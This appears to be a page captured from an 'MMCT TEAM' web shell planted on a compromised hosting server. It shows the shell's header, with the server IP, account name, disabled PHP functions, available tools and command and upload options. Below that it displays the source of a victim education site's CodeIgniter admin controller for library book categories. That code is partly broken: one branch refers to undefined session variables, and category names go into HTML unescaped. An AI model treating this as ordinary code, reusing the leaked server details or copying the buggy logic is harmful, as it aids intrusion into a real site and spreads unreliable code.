MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/lms/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/lms/BooksCategory.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');


/**
 * 
 */
class BooksCategory extends BaseAdminController
{
    function __construct()
    {
        parent::__construct();
        
        
        $institute_data=check_institute($this->data['userdata']);

        $this->user_type=$this->data['userdata']->user_type;

        //print_obj($institute_data);die;


        $this->inst_id=$institute_data['institute_id'];
        $this->inst_parent_id=$institute_data['inst_parent_id'];
        $this->inst_code=$institute_data['inst_code'];
        $this->inst_type=$institute_data['inst_type'];

        $this->session_upload_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_upload_access'];
        $this->session_edit_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_edit_access'];
        $this->session_delete_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_delete_access'];

        $this->session_course_add_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_add_course'];
        $this->session_course_edit_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_edit_course'];
        $this->session_course_delete_access=(in_array($this->user_type, array('institute','institute_branch')))?'yes':$institute_data['session_delete_course'];


        $this->user_permissions=$institute_data['user_permissions'];
         $this->load->model('lms/category_model','lmscm');
          $this->load->model('lms/rack_model','rm');
    }
    
    
    function index($category_id=null){

        if($this->data['userdata']->user_type=='student'   || $this->data['userdata']->user_type=='agent'    ){
            redirect($this->data['base_url']);
        }
        if(session_userdata('isAdminLoggedin')){

            $this->data['page_title']='Books Category';
            $this->data['all_category'] = $this->lmscm->get_all_parent_category($this->data['userdata']->user_id);

            $edit_access= check_access_control($this->data['userdata'],'lms_books_category','edit');
            $add_access= check_access_control($this->data['userdata'],'lms_books_category','add');
            $view_access=check_access_control($this->data['userdata'],'lms_books_category','view');
            

            if($this->data['userdata']->user_role==1){
                $add_access='yes';
                $edit_access="yes";
                $view_access="yes";
            }

           if($view_access=='yes'){

    $view='lms/vw_books_category';



           }

           else{

            $view='lms/vw_lms_permission_denied';

           }



            if(!empty($category_id)){

                $category_id=decode_data($category_id); 
                
                
                 
                $this->data['category_data']=$this->lmscm->get_book_category(array('category_id'=>$category_id));
                  //print_r("category_data:");
                //print_obj( $this->data['category_data']);
                //print_r("all_category:");
               // print_obj( $this->data['all_category']);

              // die();
              //$this->data['edit_option_view']=$edit_access;

              $this->data['edit_option_view']=$edit_access;
             
            }
  else{   

    $this->data['add_option_view']=$add_access;

  }

            

            $this->theme->title($this->data['page_title'])->load($view, $this->data);
        }else{

            redirect($this->data['base_url']);
        }
    }
    
    public function onAddEditBooksCategory(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                if($this->session_upload_access=='no' ||   $this->session_upload_access=='yes'){
                    
                    $book_category_name=post_data('book_category_name');
                    $book_parent_category_name=post_data('book_parent_category_name');
                    $book_category_description=post_data('book_category_description');
                    $_bookCategory=post_data('_bookCategory');



                    if(!empty(post_data('category_id'))){



                        
                        $update_category=$this->lmscm->update_book_category_data(array('category_name'=>$book_category_name,'category_parent_id'=>$book_parent_category_name,'category_description'=> $book_category_description),array('category_id'=>post_data('category_id')));
                             
               
     if($update_category){
         $return['success']='category  updated successfully';
 
         
     }
     else{
    
         $return['error']='category not   updated';
 
 
     }
 
 
                     }
                   



                     
                    $this->form_validation->set_rules('book_category_name', 'Category name  required', 'trim|required');
                  
                    if ($this->form_validation->run() == true){                        

                        if(empty($_bookCategory)){
                            
                           
                            

                            $book_category_data=$this->lmscm->get_book_category(array('category_inst_id'=>$this->inst_id,'category_inst_type'=>$this->inst_type,'category_name'=>$book_category_name));

                            if(empty($book_category_data)){
                                $added=$this->lmscm->store_book_category_data(array('category_inst_id'=>$this->inst_id,'category_inst_type'=>$this->inst_type,'category_name'=>$book_category_name,'category_parent_id'=>$book_parent_category_name,'category_description'=>$book_category_description,'category_status'=>'active','category_created_by'=>$this->data['userdata']->user_id));

                                if($added){
                                    
                                    $parentcategory = '';
                                    $parentcategory .= '<option>Select parent category</option>';
                                    $allcategory = $this->lmscm->get_all_parent_category($this->data['userdata']->user_id);
                                    if(isset($allcategory) && !empty($allcategory)){
                                        
                                        foreach($allcategory as $parenategory){
                                            $parentcategory .= '<option value="'.$parenategory->category_id.'">'.$parenategory->category_name.'</option>';
                                        }
                                    }
                                    
                                    $return['parentcategory']=$parentcategory;
                                    
                                    $return['success']='Category added successfully';
                                    
                                }else{
                                    
                                    $parentcategory = '';
                                    $parentcategory .= '<option>Select parent category</option>';
                                    $allcategory = $this->lmscm->get_all_parent_category($this->data['userdata']->user_id);
                                    if(isset($allcategory) && !empty($allcategory)){
                                        
                                        foreach($allcategory as $parenategory){
                                            $parentcategory .= '<option value="'.$parenategory->category_id.'">'.$parenategory->category_name.'</option>';
                                        }
                                    }
                                    
                                    $return['parentcategory']=$parentcategory;
                                    
                                    
                                    $return['error']='Category not added';
                                }
                            }else{
                                
                                
                                $parentcategory = '';
                                    $parentcategory .= '<option>Select parent category</option>';
                                    $allcategory = $this->lmscm->get_all_parent_category($this->data['userdata']->user_id);
                                    if(isset($allcategory) && !empty($allcategory)){
                                        
                                        foreach($allcategory as $parenategory){
                                            $parentcategory .= '<option value="'.$parenategory->category_id.'">'.$parenategory->category_name.'</option>';
                                        }
                                    }
                                    
                                    $return['parentcategory']=$parentcategory;
                                
                                
                                $return['error']='Category already exists';
                            }
                        }else if(!empty($_bookCategory)){
                            $_bookCategory=decode_data($_bookCategory);

                            $session_data=$this->sessm->get_session(array('session_inst_id'=>$this->inst_id,'session_parent_inst_id'=>$this->inst_parent_id,'session_start_year'=>$session_start,'session_end_year'=>$session_end,'session_id!='=>$session_id));

                            if(empty($session_data)){
                                $updated=$this->sessm->update_session(array('session_inst_id'=>$this->inst_id,'session_parent_inst_id'=>$this->inst_parent_id,'session_start_year'=>$session_start,'session_end_year'=>$session_end),array('session_id'=>$session_id));

                                if($updated){
                                    $return['success']='Session updated successfully';
                                }else{
                                    $return['error']='Session not updated';
                                }
                            }else{
                                $return['error']='Session already exists';
                            }
                                
                        }
                    }else{
                        $return['error']='Error occurred';
                    }
                }else{
                    $return['error']='Permission denied.';
                }
                    
            }else{
                $return['error']='Action not allowed';
            }  

            return json_headers($return);

        }else{
            redirect($this->data['base_url']);
        }
    }

    public  function onDeleteBooksCategory(){

        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){
    
                $category_id=post_data('category_id');
    
                if(!empty($category_id)){
                    $category_id=decode_data($category_id);
    
                    $category_data=$this->lmscm->delete_book_category_data(array('category_id'=>$category_id));
    
                    if(!empty($category_data)){
    
                        
                        if($category_data){
    
    
    
                            $return['success']='category has been removed from the system.';
                        }else{
                            $return['error']='category can not be removed';
                        }
    
    
                    }else{
                        $return['error']='category data not found in the system';
                    }
    
                }else{
                    $return['error']='No category data found';
                }
    
                json_headers($return);
    
            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
           

         
    }

    
    public function onSearchBooksCategory(){
        
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){
                $param['column_order'] = array(
                    null,
                    'category_name',
                    'category_parent_id',
                    'category_description'
                );

                $param['column_search'] = array('category_name');
                $param['order'] = array('category_id  ' => 'ASC');
                $posts=$this->input->post();


                //$param['created_by']=session_userdata('admin_id');


                $list = $this->lmscm->_get_book_category_data($posts,$param,FALSE,FALSE);
                
                
                $data = array();
                $no = 0;

                $edit_access= check_access_control($this->data['userdata'],'lms_books_category','edit');
                $add_access= check_access_control($this->data['userdata'],'lms_books_category','add');
                $delete_access=check_access_control($this->data['userdata'],'lms_books_category','delete');

                $action='';

                foreach ($list as $categorydata){
                    $no++;

                    $row = array();

                    $row[]  =   $no;
                    $row[]  =   $categorydata->category_name; 
                    $row[]  =  $this->lmscm->get_parent_category_name($categorydata->category_parent_id); 
                    $row[]  =   $categorydata->category_description; 
                    
                    $action='<div class="btn-group btn-group-rounded" role="group" aria-label="Basic example">';

                    if($delete_access=='yes'  && $edit_access=='yes'){
                        $action  .=   '<a class="btn btn-xs btn-success btn_edit_book_category"    href="'.$this->data['base_url'].'/lms/books/categories/'.encode_data($categorydata->category_id ).'" data-book_category_id="'.encode_data($categorydata->category_id ).'" ><i class="fa fa-edit"></i></a><button type="button" class="btn btn-xs btn-danger    btn-del-category" data-book_category_id="'.encode_data($categorydata->category_id).'"><i class="fa fa-trash"></i></button>';
                    }
                    else if($edit_access=='yes'){
                        $action  .=   '<a class="btn btn-xs btn-success btn_edit_book_category"    href="'.$this->data['base_url'].'/lms/books/categories/'.encode_data($categorydata->category_id ).'" data-book_category_id="'.encode_data($categorydata->category_id ).'" ><i class="fa fa-edit"></i></a>';
                    }
                    else if($delete_access=='yes'){
                        $action  .=   '<button type="button" class="btn btn-xs btn-danger    btn-del-category" data-book_category_id="'.encode_data($categorydata->category_id).'"><i class="fa fa-trash"></i></button>';
                    }
                    else{
                        $action .='action not permitted';
                    }
            
         
                    $action.='</div>';
                    
                    $row[]  =   $action;   
                   

                    $data[] = $row; 
                }

                $output = array(
                    "draw" => isset($posts['draw'])?$posts['draw']:'',
                    "recordsTotal" => $this->lmscm->_get_book_category_data($posts,$param,TRUE),
                    "recordsFiltered" => $this->lmscm->_get_book_category_data($posts,$param,TRUE),
                    "data" => $data,
                );
                
                echo json_encode($output);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
        
    }
}

MMCT - 2023